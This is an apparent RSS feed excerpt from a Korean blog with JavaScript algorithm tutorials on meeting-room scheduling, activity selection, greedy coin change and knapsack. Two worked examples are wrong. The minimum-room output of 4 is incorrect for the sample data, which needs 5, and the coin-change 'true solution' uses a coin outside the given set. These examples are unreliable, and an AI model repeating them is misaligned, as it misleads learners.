&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;가능한 한 많은 회의를 하나의 회의실에서 진행하기&lt;/li&gt;
&lt;li&gt;모든 회의를 수용하기 위해 필요한 회의실의 최소 개수 구하기&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 그리디 방식: 하나의 회의실에 최대한 많은 회의 배정&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;핵심 아이디어&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;종료 시간&quot;을 기준으로 회의 목록을 오름차순 정렬합니다.&lt;/li&gt;
&lt;li&gt;이전 회의가 끝난 이후에 시작하는 회의만 선택하여 최대한 많은 회의를 배정합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;JavaScript 예제 코드&lt;/h3&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;function scheduleMeetings(meetings) {
  // 종료 시간을 기준으로 정렬 (가장 빨리 끝나는 회의를 우선 선택하기 위함)
  meetings.sort((a, b) =&amp;gt; a[1] - b[1]);

  const scheduled = []; // 선택된 회의를 저장할 배열
  let lastEnd = 0;       // 마지막으로 선택된 회의의 종료 시간

  for (let [start, end] of meetings) {
    if (start &amp;gt;= lastEnd) {
      // 현재 회의의 시작 시간이 이전 회의 종료 시간 이후라면 선택
      scheduled.push([start, end]);
      lastEnd = end; // 종료 시간 갱신
    }
  }

  return scheduled; // 선택된 회의 목록 반환
}

// 예시
const meetings = [
  [1, 4], [3, 5], [0, 6], [5, 7], [3, 8],
  [5, 9], [6, 10], [8, 11], [8, 12], [2, 13], [12, 14]
];

console.log(&quot;최대 배정 가능한 회의:&quot;, scheduleMeetings(meetings));&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;출력 결과&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;최대 배정 가능한 회의: [ [ 1, 4 ], [ 5, 7 ], [ 8, 11 ], [ 12, 14 ] ]&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 우선순위 큐(Heap)를 이용한 최소 회의실 개수 계산 (심화)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;핵심 아이디어&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;회의를 &quot;시작 시간&quot; 기준으로 정렬&lt;/li&gt;
&lt;li&gt;&quot;종료 시간&quot;을 저장하는 최소 힙을 유지하며 회의가 겹치는지 확인&lt;/li&gt;
&lt;li&gt;겹치는 회의는 새로운 회의실을 할당, 끝난 회의는 재활용 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;JavaScript 예제 코드 (우선순위 큐 없이 간단한 배열 사용)&lt;/h3&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;function minMeetingRooms(meetings) {
  if (!meetings.length) return 0;

  // 시작 시간 기준으로 회의 정렬
  meetings.sort((a, b) =&amp;gt; a[0] - b[0]);

  const endTimes = []; // 현재 회의실에서 사용 중인 회의들의 종료 시간 배열
  endTimes.push(meetings[0][1]); // 첫 회의의 종료 시간을 삽입

  for (let i = 1; i &amp;lt; meetings.length; i++) {
    // 종료 시간을 오름차순 정렬하여 가장 먼저 끝나는 회의 확인
    endTimes.sort((a, b) =&amp;gt; a - b);

    if (meetings[i][0] &amp;gt;= endTimes[0]) {
      // 현재 회의의 시작 시간이 가장 빨리 끝나는 회의 이후라면 해당 회의실 재사용
      endTimes.shift();
    }

    // 현재 회의의 종료 시간을 추가 (새로운 회의실을 할당하거나, 재사용한 회의실 갱신)
    endTimes.push(meetings[i][1]);
  }

  return endTimes.length; // 필요한 회의실의 개수는 동시에 진행 중인 회의 수
}

// 예시
console.log(&quot;필요한 최소 회의실 개수:&quot;, minMeetingRooms(meetings));&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;출력 결과&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;필요한 최소 회의실 개수: 4&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;시간 및 공간 복잡도&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;첫 번째 알고리즘 (그리디): O(n log n) (정렬), O(n) 공간&lt;/li&gt;
&lt;li&gt;두 번째 알고리즘 (Heap 기반): O(n log n) (정렬 + 정렬된 배열 유지), O(n) 공간&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실제 활용 예시&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기업 회의실 스케줄러 개발&lt;/li&gt;
&lt;li&gt;예약 시스템의 충돌 방지 기능&lt;/li&gt;
&lt;li&gt;서버나 리소스의 타임 슬롯 관리&lt;/li&gt;
&lt;li&gt;항공편 착륙&amp;middot;이륙 스케줄링&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;마무리 및 CTA&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;회의실 배정 문제&quot;는 스케줄링 최적화 알고리즘의 대표적인 예로, 코딩 테스트에서도 자주 등장하는 유형입니다. 문제에 따라 탐욕적 접근이 가능하거나, 최소 회의실 개수를 구해야 할 경우에는 힙 구조를 이해하는 것이 중요합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천 학습 자료:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://leetcode.com/problems/meeting-rooms-ii/&quot;&gt;LeetCode - Meeting Rooms&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/minimum-number-of-meeting-rooms-required/&quot;&gt;GeeksforGeeks - Minimum number of meeting rooms&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Programing/Algorithm</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/484</guid>
      <comments>https://eyecandyzero.tistory.com/484#entry484comment</comments>
      <pubDate>Wed, 4 Jun 2025 07:46:55 +0900</pubDate>
    </item>
    <item>
      <title>JavaScript로 해결하는 활동 선택 문제 (Activity Selection Algorithm)</title>
      <link>https://eyecandyzero.tistory.com/483</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xldQh/btsOn0qGF0J/lqWQXMPWJcXytpOLERkeEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xldQh/btsOn0qGF0J/lqWQXMPWJcXytpOLERkeEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xldQh/btsOn0qGF0J/lqWQXMPWJcXytpOLERkeEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxldQh%2FbtsOn0qGF0J%2FlqWQXMPWJcXytpOLERkeEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;1024&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;활동 선택 문제란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;활동 선택 문제&quot;는 주어진 여러 활동 중에서 겹치지 않도록 가장 많은 활동을 선택하는 문제입니다. 각 활동은 &quot;시작 시간&quot;과 &quot;종료 시간&quot;으로 정의되며, 하나의 활동이 끝난 후에만 다음 활동을 시작할 수 있다는 조건이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제는 &quot;탐욕 알고리즘(Greedy Algorithm)&quot;을 활용하여 빠르고 효율적으로 해결할 수 있는 대표적인 스케줄링 문제입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 정의&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;활동은 &lt;code&gt;[start, end]&lt;/code&gt; 형태의 쌍으로 주어짐&lt;/li&gt;
&lt;li&gt;하나의 시간대에는 하나의 활동만 가능&lt;/li&gt;
&lt;li&gt;선택된 활동은 서로 겹치지 않아야 함&lt;/li&gt;
&lt;li&gt;목표: 선택할 수 있는 활동의 최대 개수를 구함&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실생활 예시&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;회의실 예약 시간표 구성&lt;/li&gt;
&lt;li&gt;작업 스케줄 최적화&lt;/li&gt;
&lt;li&gt;인터뷰 일정 조정&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;탐욕 알고리즘의 접근 방식&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;핵심 전략&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;종료 시간이 빠른 순&quot;으로 활동을 정렬한 후, 현재 선택된 마지막 활동의 종료 시간보다 늦게 시작하는 활동만을 차례대로 선택합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;왜 종료 시간을 기준으로 정렬할까?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;종료 시간이 빠르면 다음 활동을 더 일찍 시작할 수 있어 전체적으로 더 많은 활동을 선택할 수 있기 때문입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;JavaScript 예제 코드&lt;/h2&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;function activitySelection(activities) {
  // 종료 시간을 기준으로 오름차순 정렬
  activities.sort((a, b) =&amp;gt; a[1] - b[1]);

  const selected = [];
  let lastEnd = 0;

  for (let [start, end] of activities) {
    if (start &amp;gt;= lastEnd) {
      selected.push([start, end]); // 현재 활동 선택
      lastEnd = end; // 종료 시간 갱신
    }
  }

  return selected;
}

// 예시 실행
const activities = [
  [1, 4],
  [3, 5],
  [0, 6],
  [5, 7],
  [3, 9],
  [5, 9],
  [6, 10],
  [8, 11],
  [8, 12],
  [2, 14],
  [12, 16]
];

const result = activitySelection(activities);
console.log(&quot;선택된 활동:&quot;, result);&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;코드 흐름 설명&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;활동 리스트를 &quot;종료 시간&quot; 기준으로 정렬합니다.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lastEnd&lt;/code&gt;를 초기화하고, 활동을 하나씩 확인하면서 이전 활동의 종료 시간 이후에 시작하는 경우만 선택합니다.&lt;/li&gt;
&lt;li&gt;선택된 활동들을 배열에 저장하여 반환합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;출력 결과&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;선택된 활동: [ [ 1, 4 ], [ 5, 7 ], [ 8, 11 ], [ 12, 16 ] ]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;총 4개의 활동이 선택됩니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;시간 복잡도 분석&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정렬: O(n log n)&lt;/li&gt;
&lt;li&gt;선택 과정: O(n)&lt;/li&gt;
&lt;li&gt;총 시간 복잡도: O(n log n)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;활용 사례&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;컨퍼런스 룸 최적 배정&lt;/li&gt;
&lt;li&gt;강의실 스케줄 자동 배정 시스템&lt;/li&gt;
&lt;li&gt;면접 일정 자동 조정&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;주의할 점&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 알고리즘은 항상 최적의 해를 보장합니다.&lt;/li&gt;
&lt;li&gt;단, 활동이 동시에 종료되거나 시작 시간이 동일한 경우 처리 방식에 유의해야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;마무리 및 학습 자료&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;활동 선택 문제&quot;는 그리디 알고리즘이 효과적으로 적용되는 전형적인 예제입니다. 핵심은 각 단계에서 가장 최적인 선택이 전체적으로도 최적인 결과로 이어진다는 점을 이해하는 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천 학습 자료:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/activity-selection-problem-greedy-algo-1/&quot;&gt;GeeksforGeeks: Activity Selection Problem&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://leetcode.com/tag/greedy/&quot;&gt;LeetCode: Interval Scheduling&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Programing/Algorithm</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/483</guid>
      <comments>https://eyecandyzero.tistory.com/483#entry483comment</comments>
      <pubDate>Tue, 3 Jun 2025 18:48:13 +0900</pubDate>
    </item>
    <item>
      <title>JavaScript로 해결하는 거스름돈 문제 (Greedy Algorithm)</title>
      <link>https://eyecandyzero.tistory.com/482</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Clcn6/btsOmGztL5B/rcW90BVlj4ZABmHprRcbQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Clcn6/btsOmGztL5B/rcW90BVlj4ZABmHprRcbQ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Clcn6/btsOmGztL5B/rcW90BVlj4ZABmHprRcbQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FClcn6%2FbtsOmGztL5B%2FrcW90BVlj4ZABmHprRcbQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;1024&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;거스름돈 문제란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;거스름돈 문제&quot;는 주어진 금액을 가장 적은 개수의 동전으로 만들기 위한 전략을 찾는 문제입니다. 이 문제는 &quot;탐욕 알고리즘(Greedy Algorithm)&quot;의 대표적인 예시로 자주 사용되며, ATM 출금, 자동결제 시스템, 화폐 자동 교환기 등 다양한 실무 분야에서도 적용됩니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 정의&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;동전 단위가 담긴 배열 &lt;code&gt;coins[]&lt;/code&gt;와 목표 금액 &lt;code&gt;amount&lt;/code&gt;가 주어짐&lt;/li&gt;
&lt;li&gt;목표: 동전을 조합해 총합이 &lt;code&gt;amount&lt;/code&gt;가 되도록 하고, 사용한 동전의 개수를 최소화&lt;/li&gt;
&lt;li&gt;동전은 무한정 사용할 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예: &lt;code&gt;coins = [500, 100, 50, 10]&lt;/code&gt;, &lt;code&gt;amount = 1260&lt;/code&gt;이면 정답은 동전 6개 (500x2, 100x2, 50x1, 10x1)&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;탐욕 알고리즘의 접근 방식&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;핵심 전략&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;큰 단위 우선&quot;의 전략을 사용합니다. 가장 큰 동전부터 가능한 만큼 사용하고, 남은 금액에 대해서 다음 큰 단위를 반복 적용합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;조건&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;탐욕 알고리즘이 항상 최적 해를 보장하려면 동전 단위가 배수 관계여야 합니다.&lt;/li&gt;
&lt;li&gt;예: [10, 50, 100, 500]은 탐욕 해가 항상 최적, [5, 3]은 그렇지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;JavaScript 예제 코드&lt;/h2&gt;
&lt;pre class=&quot;zephir&quot;&gt;&lt;code&gt;function greedyChange(coins, amount) {
  coins.sort((a, b) =&amp;gt; b - a); // 큰 단위부터 정렬
  let count = 0;
  for (let coin of coins) {
    const use = Math.floor(amount / coin); // 현재 단위로 사용할 수 있는 동전 수
    count += use;
    amount -= coin * use; // 남은 금액 갱신
  }
  return amount === 0 ? count : -1; // 정확히 맞으면 개수 반환, 안 맞으면 -1
}

// 예시 실행
console.log(greedyChange([500, 100, 50, 10], 1260)); // 결과: 6
console.log(greedyChange([5, 3], 7)); // 결과: -1 (탐욕으로는 실패)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;시간 복잡도 분석&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;시간 복잡도: O(n log n) (정렬) + O(n) (반복문) &amp;rarr; 총 O(n log n)&lt;/li&gt;
&lt;li&gt;공간 복잡도: O(1)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;주의할 점&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;탐욕적 선택&quot;은 항상 최적의 해를 보장하지는 않습니다. 가능한 경우의 수가 복잡하거나, 동전 단위가 배수 관계가 아닐 때는 &quot;동적 계획법(DP)&quot; 같은 다른 전략이 필요합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;예시: 탐욕으로는 실패하는 경우&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;coins = [5, 3]&lt;/code&gt;, &lt;code&gt;amount = 7&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;탐욕: 5 &amp;rarr; 남은 2 &amp;rarr; 실패&lt;/li&gt;
&lt;li&gt;실제 해: 3 + 3 + 1 = 3개 (이 경우 탐욕 실패)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실전에서의 활용 사례&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;현금 결제 시스템의 거스름돈 계산&lt;/li&gt;
&lt;li&gt;게임 아이템 가격 단위 계산&lt;/li&gt;
&lt;li&gt;티켓 자동 발권기 금액 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;마무리 및 학습 자료&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;탐욕 알고리즘&quot;은 문제의 성질을 파악하고 빠르게 근사 해를 구하는 데 매우 유용합니다. 하지만 항상 최적의 결과를 보장하지 않기 때문에 문제 조건에 따라 다른 알고리즘과 병행해서 비교하는 것이 좋습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천 학습 자료:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/greedy-algorithms/&quot;&gt;Greedy Algorithm Basics (GeeksforGeeks)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://leetcode.com/problems/coin-change/&quot;&gt;LeetCode: Coin Change Problems&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Programing/Algorithm</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/482</guid>
      <comments>https://eyecandyzero.tistory.com/482#entry482comment</comments>
      <pubDate>Tue, 3 Jun 2025 17:35:41 +0900</pubDate>
    </item>
    <item>
      <title>JavaScript로 해결하는 0/1 배낭 문제 (Knapsack Problem)</title>
      <link>https://eyecandyzero.tistory.com/481</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;0/1 배낭 문제란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;0/1 배낭 문제&quot;는 주어진 아이템들 중 일부를 선택해 제한된 무게 안에서 가치를 최대로 만드는 조합을 찾는 대표적인 &quot;동적 계획법&quot; 문제입니다. 각 아이템은 한 번만 선택할 수 있으며, 쪼갤 수 없습니다. 이 문제는 물류 최적화, 자원 분배, 게임 인벤토리 설계 등 다양한 분야에 활용됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제 조건 요약:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;각 아이템은 무게(&lt;code&gt;weight&lt;/code&gt;)와 가치(&lt;code&gt;value&lt;/code&gt;)를 가짐&lt;/li&gt;
&lt;li&gt;아이템은 쪼갤 수 없으며, 선택하거나 선택하지 않음&lt;/li&gt;
&lt;li&gt;배낭에는 정해진 &quot;무게 제한&quot;이 있음&lt;/li&gt;
&lt;li&gt;선택한 아이템들의 &quot;총 무게&quot;는 제한을 넘을 수 없음&lt;/li&gt;
&lt;li&gt;가능한 조합 중, &quot;가치의 합이 최대&quot;가 되도록 선택&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예: 무게가 [2, 3, 4, 5], 가치가 [3, 4, 5, 6]인 아이템과 capacity = 5가 주어졌을 때, 최대 가치는 7입니다 (무게 2, 3짜리 아이템 선택).&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;JavaScript로 구현하기 (Bottom-Up DP 방식)&lt;/h2&gt;
&lt;pre class=&quot;typescript&quot;&gt;&lt;code&gt;function knapsack(weights, values, capacity) {
  const n = weights.length;
  // DP 배열 생성: (n+1) x (capacity+1)
  const dp = Array.from({ length: n + 1 }, () =&amp;gt; Array(capacity + 1).fill(0));

  // DP 배열 채우기
  for (let i = 1; i &amp;lt;= n; i++) {
    for (let w = 0; w &amp;lt;= capacity; w++) {
      if (weights[i - 1] &amp;lt;= w) {
        // 현재 아이템을 선택할 수 있는 경우
        const include = values[i - 1] + dp[i - 1][w - weights[i - 1]];
        const exclude = dp[i - 1][w];
        dp[i][w] = Math.max(include, exclude);
      } else {
        // 무게 초과로 선택 불가
        dp[i][w] = dp[i - 1][w];
      }
    }
  }

  // 최적 가치 반환
  return dp[n][capacity];
}

// 예제 실행
const weights = [2, 3, 4, 5];
const values = [3, 4, 5, 6];
const capacity = 5;

console.log(knapsack(weights, values, capacity)); // 출력: 7 (3+4)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;코드 설명&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;dp[i][w]&lt;/code&gt;는 &lt;b&gt;i번째 아이템까지 고려했을 때, 무게 w로 만들 수 있는 최대 가치&lt;/b&gt;를 의미합니다.&lt;/li&gt;
&lt;li&gt;각 아이템마다, 현재 배낭 무게 &lt;code&gt;w&lt;/code&gt;에 대해 다음 두 가지 선택지를 비교합니다:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;선택하지 않음:&lt;/b&gt; 이전 상태값 &lt;code&gt;dp[i-1][w]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;선택함:&lt;/b&gt; &lt;code&gt;values[i-1] + dp[i-1][w - weights[i-1]]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;최종 결과는 &lt;code&gt;dp[n][capacity]&lt;/code&gt;에 저장됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실행 결과 시각화 (DP 테이블 변화 과정)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 이미지는 알고리즘 실행 중 &lt;code&gt;dp[i][w]&lt;/code&gt; 배열이 어떻게 변화하는지를 각 단계별로 보여줍니다. 인덱스 i는 아이템, w는 무게입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1600&quot; data-origin-height=&quot;800&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kUJ6N/btsOorVrBUx/lcs0I0NUVFkWKiuv1uxdV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kUJ6N/btsOorVrBUx/lcs0I0NUVFkWKiuv1uxdV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kUJ6N/btsOorVrBUx/lcs0I0NUVFkWKiuv1uxdV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkUJ6N%2FbtsOorVrBUx%2Flcs0I0NUVFkWKiuv1uxdV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1600&quot; height=&quot;800&quot; data-origin-width=&quot;1600&quot; 